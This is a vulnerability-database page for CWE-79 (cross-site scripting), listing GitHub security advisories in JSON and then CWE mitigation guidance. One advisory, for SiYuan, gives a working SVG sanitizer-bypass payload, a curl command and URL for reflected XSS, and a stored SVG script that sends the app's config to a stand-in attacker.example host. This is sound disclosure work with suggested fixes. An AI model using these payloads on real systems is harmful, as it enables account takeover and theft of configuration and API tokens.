CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
69533 vulnerabilities reference this CWE, most recent first.
GHSA-99RH-VXMC-7WGF
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-25 20:22An XSS issue was discovered in the Admin UI in eZ Platform 2.x. This affects ezplatform-admin-ui 1.3.x before 1.3.5 and 1.4.x before 1.4.4, and ezplatform-page-builder 1.1.x before 1.1.5 and 1.2.x before 1.2.4.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ezsystems/ezplatform-admin-ui"
},
"ranges": [
{
"events": [
{
"introduced": "1.3"
},
{
"fixed": "1.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "ezsystems/ezplatform-admin-ui"
},
"ranges": [
{
"events": [
{
"introduced": "1.4"
},
{
"fixed": "1.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-12139"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T20:22:57Z",
"nvd_published_at": "2019-05-16T15:29:00Z",
"severity": "MODERATE"
},
"details": "An XSS issue was discovered in the Admin UI in eZ Platform 2.x. This affects ezplatform-admin-ui 1.3.x before 1.3.5 and 1.4.x before 1.4.4, and ezplatform-page-builder 1.1.x before 1.1.5 and 1.2.x before 1.2.4.",
"id": "GHSA-99rh-vxmc-7wgf",
"modified": "2024-04-25T20:22:57Z",
"published": "2022-05-24T16:45:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12139"
},
{
"type": "WEB",
"url": "https://share.ez.no/community-project/security-advisories/ezsa-2019-001-xss-in-admin-ui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ezplatform-admin-ui Cross-site Scripting (XSS) vulnerability"
}
GHSA-99RP-HQ8H-747M
Vulnerability from github – Published: 2026-07-19 12:30 – Updated: 2026-07-19 12:30A flaw has been found in itsourcecode Courier Management System up to 1.0. Affected by this vulnerability is an unknown functionality of the file /index.php. Executing a manipulation of the argument page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been published and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-16229"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T10:16:32Z",
"severity": "LOW"
},
"details": "A flaw has been found in itsourcecode Courier Management System up to 1.0. Affected by this vulnerability is an unknown functionality of the file /index.php. Executing a manipulation of the argument page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been published and may be used.",
"id": "GHSA-99rp-hq8h-747m",
"modified": "2026-07-19T12:30:21Z",
"published": "2026-07-19T12:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16229"
},
{
"type": "WEB",
"url": "https://github.com/saintpierrezgnk4950-pixel/CVE-project/issues/1"
},
{
"type": "WEB",
"url": "https://itsourcecode.com"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-16229"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/858250"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380051"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380051/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-99RQ-75J6-5J9F
Vulnerability from github – Published: 2026-09-03 14:53 – Updated: 2026-09-03 14:53Summary
SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.
The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.
The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:
- Reflected, through a single link:
GET /api/icon/getDynamicIcon - Stored, through a planted
.svgasset:GET /assets/<name>.svg
I confirmed this on a live SiYuan 3.7.2 kernel.
Root cause
util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.
The gap comes from HTML parsing rules that do not exist in XML:
<desc>and<title>are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops<foreignObject>but keeps<desc>and<title>.- Inside HTML mode,
<style>,<xmp>and<noscript>are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a<script>placed inside them, and the render step writes it back exactly as it was. - When the browser reads the same bytes as XML (SVG), there is no raw text rule.
<style>becomes a normal container and the hidden<script>becomes a real, working SVG script node.
I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:
IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg> (removed)
IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg> (kept, runs)
Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:
kernel/server/serve.go:703serveSVGserves an asset inline asimage/svg+xml.kernel/api/icon.go:158getDynamicIcon. Fortype=8thecontentquery value is put straight into the SVG template aticon.go:583with no escaping, then cleaned, then served asimage/svg+xml.
Attack vector 1: reflected (one link)
The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.
curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'
The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:
<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>
Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:
http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E
Attack vector 2: stored (planted asset)
Place this file as data/assets/evil.svg:
<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
.then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
</script></style></desc></svg>
Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.
Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.
Impact
- A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model.
- Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover.
- The default
AllowSVGScript=falseexists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.
Suggested fix
- Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop
<desc>,<title>and<foreignObject>and any raw text smuggled markup. - Serve user SVG with
Content-Disposition: attachmentand a non running content type, and add a strictscript-srcCSP on/assets/*and/api/icon/getDynamicIcon. - Escape the reflected
contentvalue ingetDynamicIconbefore it goes into the template.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260714095344-f08dee71ba8e"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T14:53:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nSiYuan cleans user supplied SVG with `util.SanitizeSVG` before it serves the file inline as `image/svg+xml`. This cleaner is the guard behind the `Editor.AllowSVGScript` setting, which is off by default, so a `\u003cscript\u003e` inside an SVG is meant to be removed.\n\nThe cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a `\u003cscript\u003e` can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.\n\nThe same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:\n\n* Reflected, through a single link: `GET /api/icon/getDynamicIcon`\n* Stored, through a planted `.svg` asset: `GET /assets/\u003cname\u003e.svg`\n\nI confirmed this on a live SiYuan 3.7.2 kernel.\n\n## Root cause\n\n`util.SanitizeSVG` (`kernel/util/misc.go:319`) parses the string with an HTML parser, walks the element nodes to drop `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cforeignobject\u003e`, event handler attributes and so on, then renders it back and cuts out the `\u003csvg\u003e...\u003c/svg\u003e` part.\n\nThe gap comes from HTML parsing rules that do not exist in XML:\n\n* `\u003cdesc\u003e` and `\u003ctitle\u003e` are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops `\u003cforeignObject\u003e` but keeps `\u003cdesc\u003e` and `\u003ctitle\u003e`.\n* Inside HTML mode, `\u003cstyle\u003e`, `\u003cxmp\u003e` and `\u003cnoscript\u003e` are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a `\u003cscript\u003e` placed inside them, and the render step writes it back exactly as it was.\n* When the browser reads the same bytes as XML (SVG), there is no raw text rule. `\u003cstyle\u003e` becomes a normal container and the hidden `\u003cscript\u003e` becomes a real, working SVG script node.\n\nI checked this by building and running the real `SanitizeSVG`. A plain `\u003cscript\u003e` under `\u003csvg\u003e` is removed, but wrapping it in `\u003cdesc\u003e\u003cstyle\u003e` lets it pass through untouched:\n\n```\nIN : \u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\nOUT: \u003csvg\u003e\u003c/svg\u003e (removed)\n\nIN : \u003csvg\u003e\u003cdesc\u003e\u003cstyle\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/style\u003e\u003c/desc\u003e\u003c/svg\u003e\nOUT: \u003csvg\u003e\u003cdesc\u003e\u003cstyle\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/style\u003e\u003c/desc\u003e\u003c/svg\u003e (kept, runs)\n```\n\nTwo places serve SVG through this cleaner, and both only require `CheckAuth`, which allows Administrator, Editor and Reader roles:\n\n* `kernel/server/serve.go:703` `serveSVG` serves an asset inline as `image/svg+xml`.\n* `kernel/api/icon.go:158` `getDynamicIcon`. For `type=8` the `content` query value is put straight into the SVG template at `icon.go:583` with no escaping, then cleaned, then served as `image/svg+xml`.\n\n## Attack vector 1: reflected (one link)\n\nThe `content` value in `getDynamicIcon` is reflected as is and survives the cleaner. A signed in user only has to open one link.\n\n```\ncurl -sk -G \u0027http://127.0.0.1:6806/api/icon/getDynamicIcon\u0027 \\\n --data-urlencode \u0027type=8\u0027 \\\n --data-urlencode \u0027content=\u003c/text\u003e\u003cdesc\u003e\u003cstyle\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c/style\u003e\u003c/desc\u003e\u003ctext\u003e\u0027\n```\n\nThe response is `HTTP/1.1 200 OK`, `Content-Type: image/svg+xml`, and the body holds a live script:\n\n```xml\n\u003ctext ...\u003e\u003c/text\u003e\u003cdesc\u003e\u003cstyle\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c/style\u003e\u003c/desc\u003e\u003ctext\u003e\u003c/text\u003e\n```\n\nOpen this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:\n\n```\nhttp://\u003chost\u003e:6806/api/icon/getDynamicIcon?type=8\u0026content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E\n```\n\n## Attack vector 2: stored (planted asset)\n\nPlace this file as `data/assets/evil.svg`:\n\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cdesc\u003e\u003cstyle\u003e\u003cscript\u003e\nfetch(\u0027/api/system/getConf\u0027,{method:\u0027POST\u0027}).then(r=\u003er.text())\n .then(t=\u003e{new Image().src=\u0027https://attacker.example/?\u0027+encodeURIComponent(t)});\n\u003c/script\u003e\u003c/style\u003e\u003c/desc\u003e\u003c/svg\u003e\n```\n\nThen open `/assets/evil.svg`. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a `.sy.zip`, or a synced asset that carries a booby trapped SVG.\n\nNote for both vectors: an SVG script runs on direct navigation, `\u003ciframe\u003e`, `\u003cembed\u003e` or `\u003cobject\u003e`. It does not run when the SVG is loaded through an `\u003cimg\u003e` tag, so open the link directly or embed it in a frame.\n\n## Impact\n\n* A note or asset made by one user can run any JavaScript in another user\u0027s browser on the publish site. This is the publishing threat model.\n* Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover.\n* The default `AllowSVGScript=false` exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.\n\n## Suggested fix\n\n* Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop `\u003cdesc\u003e`, `\u003ctitle\u003e` and `\u003cforeignObject\u003e` and any raw text smuggled markup.\n* Serve user SVG with `Content-Disposition: attachment` and a non running content type, and add a strict `script-src` CSP on `/assets/*` and `/api/icon/getDynamicIcon`.\n* Escape the reflected `content` value in `getDynamicIcon` before it goes into the template.",
"id": "GHSA-99rq-75j6-5j9f",
"modified": "2026-09-03T14:53:17Z",
"published": "2026-09-03T14:53:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-99rq-75j6-5j9f"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/f08dee71ba8e087a395d74f121de11e6a997ef14"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass"
}
GHSA-99RV-RG9F-VRVF
Vulnerability from github – Published: 2024-12-11 00:31 – Updated: 2024-12-11 00:31Adobe Experience Manager versions 6.5.21 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2024-52853"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-10T22:15:21Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.21 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-99rv-rg9f-vrvf",
"modified": "2024-12-11T00:31:26Z",
"published": "2024-12-11T00:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52853"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb24-69.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99RX-6XJH-GF5R
Vulnerability from github – Published: 2022-07-15 00:00 – Updated: 2022-07-21 00:00A reflected DOM-Based XSS vulnerability has been discovered in the Help directory of Veeam Management Pack for Microsoft System Center 8.0. This vulnerability could be exploited by an attacker by convincing a legitimate user to visit a crafted URL on a Veeam Management Pack for Microsoft System Center server, allowing for the execution of arbitrary scripts.
{
"affected": [],
"aliases": [
"CVE-2022-32225"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-14T15:15:00Z",
"severity": "MODERATE"
},
"details": "A reflected DOM-Based XSS vulnerability has been discovered in the Help directory of Veeam Management Pack for Microsoft System Center 8.0. This vulnerability could be exploited by an attacker by convincing a legitimate user to visit a crafted URL on a Veeam Management Pack for Microsoft System Center server, allowing for the execution of arbitrary scripts.",
"id": "GHSA-99rx-6xjh-gf5r",
"modified": "2022-07-21T00:00:33Z",
"published": "2022-07-15T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32225"
},
{
"type": "WEB",
"url": "https://www.veeam.com/kb4338"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99V8-X8W9-CMFP
Vulnerability from github – Published: 2023-10-26 12:31 – Updated: 2024-04-04 08:56Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Borbis Media FreshMail For WordPress plugin <= 2.3.2 versions.
{
"affected": [],
"aliases": [
"CVE-2023-46074"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-26T12:15:08Z",
"severity": "MODERATE"
},
"details": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Borbis Media FreshMail For WordPress plugin \u003c=\u00a02.3.2 versions.",
"id": "GHSA-99v8-x8w9-cmfp",
"modified": "2024-04-04T08:56:42Z",
"published": "2023-10-26T12:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46074"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/freshmail-integration/wordpress-freshmail-for-wordpress-plugin-2-3-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-99VC-XW8J-PHJM
Vulnerability from github – Published: 2024-02-11 03:30 – Updated: 2024-09-05 16:14Ghost through 5.76.0 allows stored XSS, and resultant privilege escalation in which a contributor can take over any account, via an SVG profile picture that contains JavaScript code to interact with the API on localhost TCP port 3001. NOTE: The discoverer reports that "The vendor does not view this as a valid vector."
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.76.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.76.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23724"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-12T19:35:28Z",
"nvd_published_at": "2024-02-11T01:15:08Z",
"severity": "MODERATE"
},
"details": "Ghost through 5.76.0 allows stored XSS, and resultant privilege escalation in which a contributor can take over any account, via an SVG profile picture that contains JavaScript code to interact with the API on localhost TCP port 3001. NOTE: The discoverer reports that \"The vendor does not view this as a valid vector.\"",
"id": "GHSA-99vc-xw8j-phjm",
"modified": "2024-09-05T16:14:25Z",
"published": "2024-02-11T03:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23724"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/pull/19646"
},
{
"type": "WEB",
"url": "https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724"
},
{
"type": "PACKAGE",
"url": "https://github.com/TryGhost/Ghost"
},
{
"type": "WEB",
"url": "https://rhinosecuritylabs.com/blog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Ghost has possible Cross-site Scripting issue"
}
GHSA-99WG-6QG5-FG93
Vulnerability from github – Published: 2026-03-31 12:31 – Updated: 2026-03-31 12:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Extend Themes Kubio AI Page Builder allows Stored XSS.This issue affects Kubio AI Page Builder: from n/a through 2.7.0.
{
"affected": [],
"aliases": [
"CVE-2026-34887"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-31T11:16:13Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Extend Themes Kubio AI Page Builder allows Stored XSS.This issue affects Kubio AI Page Builder: from n/a through 2.7.0.",
"id": "GHSA-99wg-6qg5-fg93",
"modified": "2026-03-31T12:31:35Z",
"published": "2026-03-31T12:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34887"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-7-0-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-99WH-5V8J-65HF
Vulnerability from github – Published: 2026-04-20 18:31 – Updated: 2026-04-20 18:31GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the Troubleshooter module where the subject POST parameter is not sanitized in Controller_Step.InsertSubmit() and EditSubmit() before being rendered by View_Step.RenderViewSteps(). An authenticated staff member can inject arbitrary JavaScript into the step subject field, and the payload executes when any user navigates to Troubleshooter > View Troubleshooter and clicks the affected step link.
{
"affected": [],
"aliases": [
"CVE-2026-23756"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-20T18:16:24Z",
"severity": "MODERATE"
},
"details": "GFI HelpDesk before\u00a04.99.9 contains a stored cross-site scripting vulnerability in the Troubleshooter module where the subject POST parameter is not sanitized in Controller_Step.InsertSubmit() and EditSubmit() before being rendered by View_Step.RenderViewSteps(). An authenticated staff member can inject arbitrary JavaScript into the step subject field, and the payload executes when any user navigates to Troubleshooter \u003e View Troubleshooter and clicks the affected step link.",
"id": "GHSA-99wh-5v8j-65hf",
"modified": "2026-04-20T18:31:49Z",
"published": "2026-04-20T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23756"
},
{
"type": "WEB",
"url": "https://gfi.ai/products-and-solutions/email-and-messaging-solutions/helpdesk/resources/product-releases"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gfi-helpdesk-stored-xss-via-troubleshooter-step-subject"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-99WH-HC39-J65Q
Vulnerability from github – Published: 2026-02-27 15:34 – Updated: 2026-06-04 21:31Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in KNOWHY Advanced Technology Trading Ltd. Co. EduAsist allows Reflected XSS.This issue affects EduAsist: through 27022026.
NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-11950"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T13:16:01Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in KNOWHY Advanced Technology Trading Ltd. Co. EduAsist allows Reflected XSS.This issue affects EduAsist: through 27022026.\n\nNOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-99wh-hc39-j65q",
"modified": "2026-06-04T21:31:19Z",
"published": "2026-02-27T15:34:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11950"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0086"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-26-0086"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
